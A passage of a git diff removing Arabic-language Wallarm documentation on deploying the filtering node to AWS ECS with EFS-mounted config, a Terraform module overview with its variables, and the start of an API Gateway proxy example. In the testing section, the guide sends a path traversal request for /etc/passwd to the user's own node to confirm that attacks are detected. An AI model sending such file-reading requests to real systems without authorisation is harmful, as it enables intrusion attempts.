run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html): - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: اسم الكتلة التي تم إنشاؤها في الخطوة الأولى. على سبيل المثال، `wallarm-cluster`. - * ``: اسم تعريف المهمة المُنشأ. يجب أن تتوافق القيمة مع قيمة البارامتر `family` المحددة في الملف JSON مع تعريف المهمة. على سبيل المثال، `wallarm-api-security-node`. -1. افتح وحدة تحكم AWS → **خدمة الحاويات المرنة** → الكتلة مع المهمة المُشغلة → **المهام** وتأكد من عرض المهمة في القائمة. -1. [اختبار تشغيل العقدة الفلترة](#testing-the-filtering-node-operation). - -## نشر حاوية Docker للعقدة Wallarm المكونة من خلال الملف المثبت - -لنشر العقدة الفلترة لـ Wallarm المحسنة في حاوية عن طريق المتغيرات البيئية والملف المثبت، يتم استخدام وحدة تحكم AWS و AWS CLI. - -في هذه التعليمات، يتم تركيب الملف التكويني من [نظام الملفات AWS EFS](https://docs.aws.amazon.com/efs/latest/ug/whatisefs.html). يمكنك مراجعة الأساليب الأخرى لتركيب الملف في [التوثيق AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/using_data_volumes.html). - -لنشر الحاوية مع المتغيرات البيئية وملف التكوين المركب من AWS EFS: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتسجيل الدخول إلى [وحدة تحكم AWS](https://console.aws.amazon.com/console/home) → القائمة **الخدمات** → **خدمة الحاويات المرنة**. -1. انتقل إلى إنشاء الكتلة بواسطة الزر **إنشاء الكتلة**: - - * **قالب**: `EC2 Linux + Networking`. - * **اسم الكتلة**: `wallarm-cluster` (كمثال). - * **نموذج الإعداد**: `على الطلب الفوري`. - * **نوع الحالة EC2**: `t2.micro`. - * **عدد الحالات**: `1`. - * **معرّف EC2 AMI**: `صورة AMI TTL منتظمة من Amazon Linux 2`. - * **زوج المفاتيح**: [زوج المفاتيح](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) للاتصال SSH بالحالة. سوف تحتاج إلى الاتصال بالحالة عبر SSH لتحميل ملف التكوين إلى التخزين. - * يمكن ترك الإعدادات الأخرى وفقًا للإعدادات الافتراضية. عند تغيير الإعدادات الأخرى، يُوصى باتباع [التعليمات المتعلقة بإعداد AWS EFS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html). -1. قم بتكوين تخزين AWS EFS وفقاً لخطوات 2-4 من [التعليمات AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html). -1. في الخطوة الرابعة من التعليمات AWS، قم بإنشاء ملف التكوين `default` ووضع الملف في الدليل الذي يخزن الملفات للتعليق بشكل افتراضي. يجب أن يغطي ملف `default` الضبط الفلترة. مثال على الملف مع الإعدادات الدنيا: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [مجموعة التوجيهات الفلترة التي يمكن توضيحها في ملف التكوين →][nginx-waf-directives] -1. قم بتشفير البيانات الحساسة المطلوبة للاتصال بـ Cloud Wallarm (رمز العقدة) باستخدام [إدارة الأسرار AWS](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) أو [نظام AWS Manager → متجر البارامتر](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html). - - في هذه التعليمات، يتم تخزين البيانات الحساسة في إدارة الأسرار AWS. - - !!! تحذير "الوصول إلى تخزين البيانات الحساسة" - للسماح للحاوية Docker بقراءة البيانات الحساسة المشفرة، يرجى التأكد من أن إعدادات AWS تلبي الشروط التالية: - - * البيانات الحساسة مخزنة في المنطقة المستخدمة لتشغيل حاوية Docker. - * يجب أن يكون لدور تنفيذ مهمة ECS المحدد في البارامتر `executionRoleArn` لتعريف المهمة سياسة قراءة بأقل امتيازات محددة النطاق لـ ARN السر المحدد. إذا كنت تستخدم مفتاح KMS مُدار من قبل العميل لتشفير السر، فامنح أيضًا إذن `kms:Decrypt` لهذا المفتاح. راجع [مثال السياسة أعلاه](#نشر-حاوية-docker-للعقدة-wallarm-المكونة-عبر-المتغيرات-البيئية) و[وثائق سياسات IAM →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) -1. قم بإنشاء الملف الـ JSON المحلي التالي بـ[تعريف المهمة](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) (يحدد تعريف المهمة سيناريو تشغيل الحاوية Docker) : - - === "إذا كنت تستخدم سحابة Wallarm الأمريكية" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "", - "sourceVolume": "" - } - ], - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.10.4-1" - } - ], - "volumes": [ - { - "name": "", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "إذا كنت تستخدم سحابة Wallarm الأوروبية" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "/etc/nginx/sites-enabled", - "sourceVolume": "default" - } - ], - "environment": [ - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.10.4-1" - } - ], - "volumes": [ - { - "name": "default", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [معرف حساب AWS الخاص بك](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * ``: دليل الحاوية لتركيب ملف التكوين عليها. يمكن تثبيت ملفات التكوين على الدلائل التالية المستخدمة من قبل NGINX: - - * `/etc/nginx/conf.d` — الإعدادات العامة - * `/etc/nginx/sites-enabled` — إعدادات المضيف الافتراضي - * `/var/www/html` — الملفات الثابتة - - يجب أن يتم وصف التوجيهات الفلترة في ملف `/etc/nginx/sites-enabled/default`. - - * ``: اسم الكائن `volumes` الذي يحتوي على تكوين تخزين الملف المثبت في AWS EFS (يجب أن تكون القيمة نفسها باسم ``). - * ``: اسم الكائن `volumes` الذي يحتوي على تكوين تخزين الملف المثبت في AWS EFS. - * ``: معرف نظام الملفات EFS الذي يحتوي على الملف الذي يجب تثبيته على الحاوية. يتم عرض المعرف في وحدة تحكم AWS → **الخدمات** → **EFS** → **أنظمة الملف**. - * يكون الكائن `environment` مجموعة المتغيرات البيئية التي يجب تمريرها إلى حاوية Docker في شكل نصي. يتم توصيف مجموعة المتغيرات البيئية المتاحة في الجدول أدناه. يوصى بتمرير المتغير `WALLARM_API_TOKEN` في الكائن `secrets`. - * يضبط الكائن `secret` المتغيرات البيئية التي يجب تمريرها إلى حاوية Docker كروابط لتخزين البيانات الحساسة. يعتمد شكل القيم على التخزين المحدد (انظر المزيد من التفاصيل في [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) أو [AWS Systems Manager → متجر البارامتر](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) التوثيق). - - يُوصى بتمرير المتغير `WALLARM_API_TOKEN` في الكائن `secrets`. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * توضح جميع معلمات الملف التكويني في [توثيق AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html). -1. قم بتسجيل تعريف المهمة استناداً إلى الملف التكويني JSON باستخدام الأمر [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html): - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: الرابط إلى الملف JSON مع تعريف المهمة على الجهاز المحلي. - * ``: اسم وإمتداد الملف JSON مع تعريف المهمة. -1. تشغيل المهمة في الكتلة استخدام الامر [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html): - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: اسم الكتلة التي تم إنشاؤها في الخطوة الأولى. على سبيل المثال، `wallarm-cluster`. - * ``: اسم تعريف المهمة المُنشأ. يجب أن تتوافق القيمة مع قيمة البارامتر `family` المحددة في الملف JSON مع تعريف المهمة. على سبيل المثال، `wallarm-api-security-node`. -1. افتح وحدة تحكم AWS → **خدمة الحاويات المرنة** → الكتلة مع المهمة المُشغلة → **المهام** وتأكد من عرض المهمة في القائمة. -1. [اختبار تشغيل العقدة الفلترة](#testing-the-filtering-node-operation). - -## اختبار تشغيل العقدة الفلترة - -1. في وحدة تحكم AWS، افتح المهمة المشتغلة وانسخ عنوان IP الخاص بالحاوية من الحقل **الرابط الخارجي**. - - ![Settig up container instance][aws-copy-container-ip-img] - - إذا كان عنوان IP فارغاً، يرجى التأكد من أن الحاوية في حالة **التشغيل**. - -2. أرسل الطلب مع الهجوم Path Traversal إلى العنوان المنسوخ: - - ``` - curl http:///etc/passwd - ``` -3. افتح وحدة تحكم Wallarm → **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من أن الهجوم مُعروض في القائمة. - ![Attacks in UI][attacks-in-ui-image] - -تتم عرض التفاصيل حول الأخطاء التي حدثت أثناء نشر الحاوية في تفاصيل المهمة في وحدة تحكم AWS. إذا كانت الحاوية غير متاحة، يرجى التأكد من تمرير المعلمات المطلوبة للعقدة الفلترة مع القيم الصحيحة إلى الحاوية. diff --git a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index 9788d476ff..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1,114 +0,0 @@ -# نشر Wallarm على AWS باستخدام Terraform - -تقدم Wallarm [وحدة Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/) لنشر العقدة على [AWS](https://aws.amazon.com/) من بيئة متوافقة مع Terraform. استخدم هذه التعليمات لاستكشاف الوحدة وتجربة أمثلة النشر المقدمة. - -من خلال تنفيذ وحدة Terraform الخاصة بـ Wallarm ، قدمنا الحل الذي يتيح خيارين رئيسيين لنشر Wallarm: خيارات الأمان **[داخل الخط](../../../inline/overview.md) (التي تعتبر proxy في هذه الطريقة النشر)** و [**خارج النطاق (mirror)**](../../../oob/overview.md). يتم التحكم بسهولة في خيار النشر بواسطة متغير الوحدة `preset` الخاص بـ Wallarm. - -## حالات الاستخدام - -من بين جميع خيارات نشر Wallarm المدعومة [Wallarm deployment options](../../../supported-deployment-options.md)، يُنصح بوحدة Terraform لنشر Wallarm في هذه **حالات الاستخدام**: - -* البنية التحتية الحالية لك تقع على AWS. -* تستفيد من ممارسة البنية كشفرة (IaC). تسمح وحدة Wallarm's Terraform بالإدارة التلقائية والتوفير للعقدة Wallarm على AWS ، مما يعزز الكفاءة والاتساق. - -## المتطلبات - -* تثبيت Terraform 1.0.5 أو أعلى [على المستوى المحلي](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* الوصول إلى الحساب بـ **الدور** [المشرف](../../../../user-guides/settings/users.md#user-roles) في Wallarm Console في الولايات المتحدة أو السحابة الأوروبية [Cloud](../../../../about-wallarm/overview.md#cloud) -* الوصول إلى `https://us1.api.wallarm.com` إذا كنت تعمل مع US Wallarm Cloud أو إلى `https://api.wallarm.com` إذا كنت تعمل مع EU Wallarm Cloud. يرجى التأكد من أن الوصول غير محظور بواسطة جدار الحماية - -لا يتضمن هذا الموضوع تعليمات لإنشاء جميع موارد AWS اللازمة لنشر Wallarm ، مثل مجموعة VPC. للحصول على التفاصيل، راجع الدليل ذو الصلة [دليل Terraform](https://learn.hashicorp.com/tutorials/terraform/module-use). - -## كيفية استخدام وحدة Wallarm AWS Terraform؟ - -لنشر Wallarm للإنتاج باستخدام وحدة AWS Terraform: - -1. اشترك في Wallarm Console في [US Cloud](https://us1.my.wallarm.com/signup) أو [EU Cloud](https://my.wallarm.com/signup). -2. افتح Wallarm Console → **Nodes** وأنشئ العقدة من نوع **Wallarm node**. - -![إنشاء عقدة Wallarm](../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) -3. انسخ رمز العقدة المُستخدم. -4. أضف كود الوحدة `wallarm` إلى تكوين Terraform الخاص بك: - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - instance_type = "..." - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - token = "..." - - - } - ``` -5. قم بتعيين قيم المتغير في تكوين الوحدة `wallarm`: - -| المتغير | الوصف | النوع | مطلوب؟ | -| --------- | ----------- | --------- | --------- | -| `instance_type` | [نوع العينة Amazon EC2](https://aws.amazon.com/ec2/instance-types/) المستخدم لنشر Wallarm، مثلاً: `t3.small`. | string | نعم | -| `vpc_id` | [ID of the AWS Virtual Private Cloud](https://docs.aws.amazon.com/managedservices/latest/userguide/find-vpc.html) لنشر Wallarm EC2 العينة. | string | نعم -| `token` | [رمز عقدة Wallarm](../../../../user-guides/nodes/nodes.md#creating-a-node) تم نسخه من واجهة UI لوحة تحكم Wallarm.

      استخدام رمز واحد لعدد من التثبيتات

      يمكنك استخدام هذا الرمز في عدة تثبيتات بغض النظر عن [المنصة](../../../../installation/supported-deployment-options.md) المختارة. يسمح ذلك بتجميع منطقي لعينات العقدة في واجهة UI لوحة تحكم Wallarm. مثال: يمكنك نشر عدة عقد Wallarm إلى بيئة التطوير، كل عقدة على جهازها الخاص المملوكة لمطور معين.

      | string | نعم -| **متغيرات Wallarm ذات الصلة** | | | | -| `host` | [سيرفر API لـ Wallarm](../../../../about-wallarm/overview.md#cloud). القيم الممكنة:
      • `us1.api.wallarm.com` لـ US Cloud
      • `api.wallarm.com` لـ EU Cloud
      بشكل افتراضي، `api.wallarm.com`. | string | لا -| `upstream` | [إصدار عقدة Wallarm](../../../../updating-migrating/versioning-policy.md#version-list) التي ستُنشر. الحد الأدنى المدعوم هو `4.0`.

      بشكل افتراضي, `4.8`. | string | لا -| `preset` | مخطط نشر Wallarm. القيم الممكنة:
      • `proxy`
      • `mirror`
      بشكل افتراضي، `proxy`. | string | لا -| `proxy_pass` | بروتوكول الخادم الذي تم توجيهه والعنوان. ستعالج العقدة Wallarm الطلبات المرسلة إلى العنوان المحدد وستكون شرعية لتوجيهها إلى. يمكن تحديد 'http' أو 'https' كبروتوكول. يمكن تحديد العنوان بواسطة اسم النطاق أو عنوان IP، ومنفذ اختياري. | string | نعم، إذا كان `preset` هو `proxy` -| `mode` | [وضع تصفية حركة المرور](../../../../admin-en/configure-wallarm-mode.md). القيم الممكنة: `off`, `monitoring`, `safe_blocking`, `block`.

      بشكل افتراضي، `monitoring`. | string | لا -|`libdetection` | سواء كانت النية هي [استخدام مكتبة الكشف](../../../../about-wallarm/protecting-against-attacks.md#library-libdetection) خلال تحليل حركة المرور.

      بشكل افتراضي، `true`. | bool |لا -|`global_snippet` | التكوين المخصّص الذي سيتم إضافته إلى التكوين العالمي لـ NGINX. يمكنك وضع الملف الذي يحتوي على التكوين في دليل كود Terraform وتحديد المسار إلى هذا الملف في هذا المتغير.

      ستجد مثالاً على تكوين المتغير في [المثال على نشر الحل الأكثر تقدمًا للـ proxy](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L17). | string | لا -|`http_snippet` | التكوين المخصص الذي سيتم إضافته إلى القسم `http` في تكوين NGINX. يمكنك وضع الملف الذي يحتوي على التكوين في دليل كود Terraform وتحديد المسار إلى هذا الملف في هذا المتغير.

      ستجد مثالاً على تكوين المتغير في [المثال على نشر الحل الأكثر تقدمًا للـ proxy](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L18). | string | لا -|`server_snippet` | التكوين المخصّص الذي سيتم إضافته إلى القسم `server` في تكوين NGINX. يمكنك وضع الملف الذي يحتوي على التكوين في دليل كود Terraform وتحديد المسار إلى هذا الملف في هذا المتغير

      ستجد مثالاً على تكوين المتغير في [المثال على نشر الحل الأكثر تقدمًا للـ proxy](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L19). | string | لا -|`post_script` | البرنامج النصي المخصص الذي سيتم تشغيله بعد [سكريبت تهيئة العقدة Wallarm (`cloud-init.py`)](../../cloud-init.md). يمكنك وضع الملف الذي يحتوي على أي سكريبت في دليل كود Terraform وتحديد المسار إلى هذا الملف في هذا المتغير.

      ستجد مثالاً على تكوين المتغير في [المثال على نشر الحل الأكثر تقدمًا للـ proxy](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L34). | string | لا -| **تكوين النشر على AWS** | | | | -| `app_name` | بادئة لأسماء موارد AWS التي ستنشئها وحدة Wallarm.

      بشكل افتراضي، `wallarm`. | string | لا -| `app_name_no_template` | سواء أم لا استخدام أحرف كبيرة، أرقام وأحرف خاصة في أسماء الموارد AWS التي ستنشئها وحدة Wallarm. إذا كان `false`، فإن أسماء الموارد ستتضمن فقط أحرف صغيرة.

      بشكل افتراضي، `false`. | bool | لا -| `lb_subnet_ids` | [قائمة أرقام تعريف فرعيات شبكة الخصوصية الافتراضية AWS](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) لنشر موزع الحمولة التطبيقي في. القيمة المستحسنة هي الفرعيات العامة المرتبطة بجدول الطرق الذي يحتوي على طريق إلى بوابة الإنترنت. | list(string) | لا -| `instance_subnet_ids` | [قائمة أرقام تعريف فرعيات شبكة الخصوصية الافتراضية AWS](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) لنشر عينات Wallarm EC2 في. القيمة المستحسنة هي الفرعيات الخاصة المكونة للاتصالات الخروج فقط. | list(string) | لا -| `lb_enabled` | سواء كان من المقرر إنشاء موزع حمولة تطبيق AWS. ستتم إنشاء مجموعة هدف مع أي قيمة ممرة في هذا المتغير إلا إذا تم تحديد مجموعة هدف مخصصة في المتغير `custom_target_group`.

      بشكل افتراضي، `true`. | bool | لا -| `lb_internal` | سواء كان من المقرر جعل موزع الحمولة التطبيقي [موزع حمولة داخلي](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internal-load-balancers.html). بشكل افتراضي، ALB لديه نوع يواجه الإنترنت. إذا كنت تستخدم النهج غير المتزامن للتعامل مع الاتصالات، فالقيمة الموصى بها هي `true`.

      بشكل افتراضي، `false`. | bool | لا -| `lb_deletion_protection` | سواء كان من المقرر تمكين الحماية لـ [موزع الحمولة التطبيقي ليتم منع حذفه بطريق الخطأ](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#deletion-protection). لنشرات التطبيقات الإنتاجية، القيمة المستحسنة هي `true`.

      بشكل افتراضي، `true`. | bool | لا -| `lb_ssl_enabled` | سواء كان من المقرر [تفاوض اتصالات SSL](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies) بين عميل وموزع حمولة التطبيق. إذا كان `true`، فإن المتغيرات `lb_ssl_policy` و `lb_certificate_arn` مطلوبة. يُنصح بذلك للنشرات الإنتاجية.

      بشكل افتراضي، `false`. | bool | لا -| `lb_ssl_policy` | [سياسة الأمان لموزع الحمولة التطبيقي](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies). | string | نعم، إذا كان `lb_ssl_enabled` هو `true` -| `lb_certificate_arn` | [اسم المورد الأمازون (ARN)](https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html) من الشهادة ACM (AWS Certificate Manager) . | string | نعم، إذا كان `lb_ssl_enabled` هو `true` -| `custom_target_group` | اسم المجموعة الهدف الحالي لـ [ مرفق للمجموعة المتمددة تلقائيًا المُنشأة](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html). بشكل افتراضي، ستتم إنشاء مجموعة هدف جديدة والمرفقة. إذا كانت القيمة غير الافتراضية، سيتم تعطيل إنشاء ALB. | string | لا -| `inbound_allowed_ip_ranges` | قائمة عناوين IP المصدر والشبكات للسماح باتصالات الداخلية إلى عينات Wallarm من. يرجى مراعاة أن AWS تقنع بحركة مرور موزع الحمولة حتى لو كان مصدرها من الفرعيات العامة.

      بشكل افتراضي:
      • `"10.0.0.0/8",`
      • `"172.16.0.0/12",`
      • `"192.168.0.0/16"`
      | list(string) | لا -| `outbound_allowed_ip_ranges` | قائمة عناوين IP المصدر والشبكات للسماح باتصالات الخروج من عينة Wallarm.

      بشكل افتراضي: `"0.0.0.0/0"`. | list(string) | لا -| `extra_ports` | قائمة أرقام البرامج النصية الإضافية داخل الشبكة للسماح باتصالات الداخلية إلى عينات Wallarm من. سيتم تطبيق التكوين على مجموعة الأمان. | list(number) | لا -| `extra_public_ports` | قائمة أرقام البرامج النصية الإضافية في الشبكة العامة للسماح باتصالات الداخلية إلى عينات Wallarm من.| list(number) | لا -| `extra_policies` | سياسات IAM AWS التي سيتم ربطها بستك Wallarm. يمكن أن يكون من المفيد استخدامها مع متغير `post_script` والذي يعمل سكريبت يطالب ببيانات من Amazon S3. | list(string) | لا -| `source_ranges` | قائمة عناوين IP المصدر والشبكات للسماح بحركة مرور موزع حمولة التطبيق AWS من.

      بشكل افتراضي، `"0.0.0.0/0"`. | list(string) | لا -| `https_redirect_code` | كود لإعادة توجيه الطلب HTTP إلى HTTPS. القيم الممكنة:
      • `0` - التوجيه معطل
      • `301` - إعادة توجيه دائمة
      • `302` - إعادة توجيه مؤقتة
      بشكل افتراضي، `0`. | number | لا -| `asg_enabled` | سواء كان من المقرر إنشاء [مجموعة توسيع تلقائي AWS](https://docs.aws.amazon.com/autoscaling/ec2/userguide/auto-scaling-groups.html).

      بشكل افتراضي، `true` | bool | لا -| `min_size` | العدد الأدنى من العينات في المجموعة المتمددة تلقائياً المنشأة AWS.

      بشكل افتراضي، `1`.| number | لا -| `max_size` | العدد الأقصى من العينات في المجموعة المتمددة تلقائياً المنشأة AWS.

      بشكل افتراضي، `3`.| number | لا -| `desired_capacity` | العدد الأولي من العينات في المجموعة المتمددة تلقائياً المنشأة AWS. يجب أن يكون أكبر من أو مساويًا لـ `min_size` وأقل من أو مساويًا لـ `max_size`.

      بشكل افتراضي، `1`.| number | لا -| `autoscaling_enabled` | سواء كان من المقرر تمكين [Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html) لكتلة Wallarm.

      بشكل افتراضي، `false`. | bool | لا -| `autoscaling_cpu_target` | النسبة المئوية المتوسطة لاستخدام الوحدة المركزية للمعالجة للحفاظ على المجموعة المتمددة تلقائياً AWS عند. بشكل افتراضي، `70.0`. | string | لا -| `ami_id` | [رمز تعريف الصورة الأمازون](https://docs.aws.amazon.com/managedservices/latest/userguide/find-ami.html) الذي سيُستخدم لنشر Wallarm. بشكل افتراضي (سلسلة فارغة)، يتم استخدام الصورة الأخيرة من المصدر. أنت مدعو لإنشاء AMI مخصصة على أساس العقدة Wallarm. | string | لا -| `key_name` | اسم [زوج مفاتيح AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) الذي سيُستخدم للاتصال بـ Wallarm عبر SSH. بشكل افتراضي، الاتصال عبر SSH معطل. | string | لا -| `tags` | الوسوم لموارد AWS التي ستنشئها وحدة Wallarm.| map(string) | لا - -## تجربة وحدة Wallarm Terraform مع الأمثلة - -لقد أعددنا أمثلة لطرق مختلفة لاستخدام وحدة Wallarm، حتى تتمكن من تجربتها قبل النشر على الإنتاج: - -* [Proxy في AWS VPC](proxy-in-aws-vpc.md) -* [Proxy لـ Amazon API Gateway](proxy-for-aws-api-gateway.md) - -## معلومات إضافية حول Wallarm و Terraform - -يدعم Terraform عدد من التكاملات (**المزودين**) والتكوينات الجاهزة للاستخدام (**الوحدات**) المتاحة للمستخدمين عبر الـ [سجلتها](https://www.terraform.io/registry#navigating-the-registry) العامة، التي تكونت بواسطة العديد من البائعين. - -إلى هذا السجل، نشرت Wallarm: - -* [وحدة Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/) لنشر العقدة على AWS من البيئة المتوافقة مع Terraform. موضحة في المقالة الحالية. -* المزود [Wallarm provider](../../../../admin-en/managing/terraform-provider.md) لإدارة Wallarm عبر Terraform. - -هذين الاثنين هما عناصر مستقلة تستخدم لأغراض مختلفة، ولا يتطلبان بعضهما البعض. - -## القيود -* [الكشف عن طرق الاستغلال](../../../../about-wallarm/credential-stuffing.md) غير مدعومة حالياً. \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index c8920f0c58..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,116 +0,0 @@ -# نشر Wallarm كوكيل لبوابة API الخاصة بأمازون - -هذا المثال يوضح كيفية حماية [بوابة API الخاصة بأمازون](https://aws.amazon.com/api-gateway/) باستخدام Wallarm مُنشر كوكيل داخلي في الشبكة الخاصة الافتراضية لـ AWS باستخدام [وحدة Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -حل Wallarm كوكيل يوفر طبقة شبكية وظيفية إضافية تعمل كموجه متقدم لحركة مرور HTTP مع وظائف أمان WAF وAPI. يمكنه توجيه الطلبات إلى معظم أنواع الخدمات بما في ذلك بوابة API الخاصة بأمازون دون تقييد قدراتها. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](https://docs.wallarm.com/installation/supported-deployment-options)، يُوصى باستخدام وحدة Terraform لنشر Wallarm على الشبكة الخاصة الافتراضية لـ AWS في هذه **حالات الاستخدام**: - -* بنيتك التحتية القائمة على AWS. -* تستخدم ممارسة البنية التحتية ككود (IaC). تتيح وحدة Terraform الخاصة بـ Wallarm إدارة وتوفير عقدة Wallarm على AWS تلقائيًا، مما يعزز الكفاءة والاتساق. - -## المتطلبات - -* Terraform 1.0.5 أو أعلى [مُثبت محليًا](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* الوصول إلى الحساب مع دور **المسؤول** [role](https://docs.wallarm.com/user-guides/settings/users/#user-roles) في وحدة تحكم Wallarm في السحابة الأمريكية أو الأوروبية [Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud) -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. الرجاء التأكد من عدم حظر الوصول بواسطة جدار الحماية - -## هندسة الحل - -![مخطط وكيل Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy-for-aws-api-gateway.png?raw=true) - -حل وكيل Wallarm في هذا المثال يتضمن المكونات التالية: - -* موازن التحميل الذي يواجه الإنترنت يوجه الحركة إلى عقد Wallarm. -* عقد Wallarm تحلل الحركة وتوكل أي طلبات إلى بوابة API. - - يعمل هذا المثال بعقد Wallarm في وضع المراقبة الذي يحرك السلوك الموصوف. يمكن لعقد Wallarm أيضًا العمل في أوضاع أخرى تهدف إلى حظر الطلبات الخبيثة وإعادة توجيه الطلبات المشروعة فقط. لمعرفة المزيد عن أوضاع عقد Wallarm، استخدم [وثائقنا](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* بوابة API التي توكل لها عقد Wallarm الطلبات لديها الإعدادات التالية: - - * تم تعيين المسار `/demo/demo`. - * تكوين واحد وهمي. - * خلال نشر وحدة Terraform هذه، يمكنك اختيار نوع النقطة النهائية لبوابة API "الإقليمية" أو "الخاصة". يتم توفير المزيد من التفاصيل حول هذه الأنواع والتحول بينها أدناه. - - يرجى ملاحظة أن المثال المقدم ينشر بوابة API الخاصة بأمازون العادية، لذا لن يتأثر تشغيلها بعقد Wallarm. - -سيتم نشر جميع المكونات المذكورة بما في ذلك بوابة API بواسطة وحدة `wallarm` المثال المقدمة. - -## مكونات الكود - -يحتوي هذا المثال على المكونات البرمجية التالية: - -* `main.tf`: التكوين الرئيسي لوحدة `wallarm` المطلوب تنفيذها كحل وكيل. التكوين ينتج AWS ALB وعقد Wallarm. -* `apigw.tf`: التكوين الذي ينتج بوابة API الخاصة بأمازون التي يمكن الوصول إليها تحت المسار `/demo/demo` مع تكوين تكامل وهمي واحد. أثناء نشر الوحدة، يمكنك أيضًا اختيار نوع النقطة النهائية "الإقليمية" أو "الخاصة" (انظر التفاصيل أدناه). -* `endpoint.tf`: تكوين نقطة النهاية الخاصة بـ AWS VPC لنوع النقطة النهائية 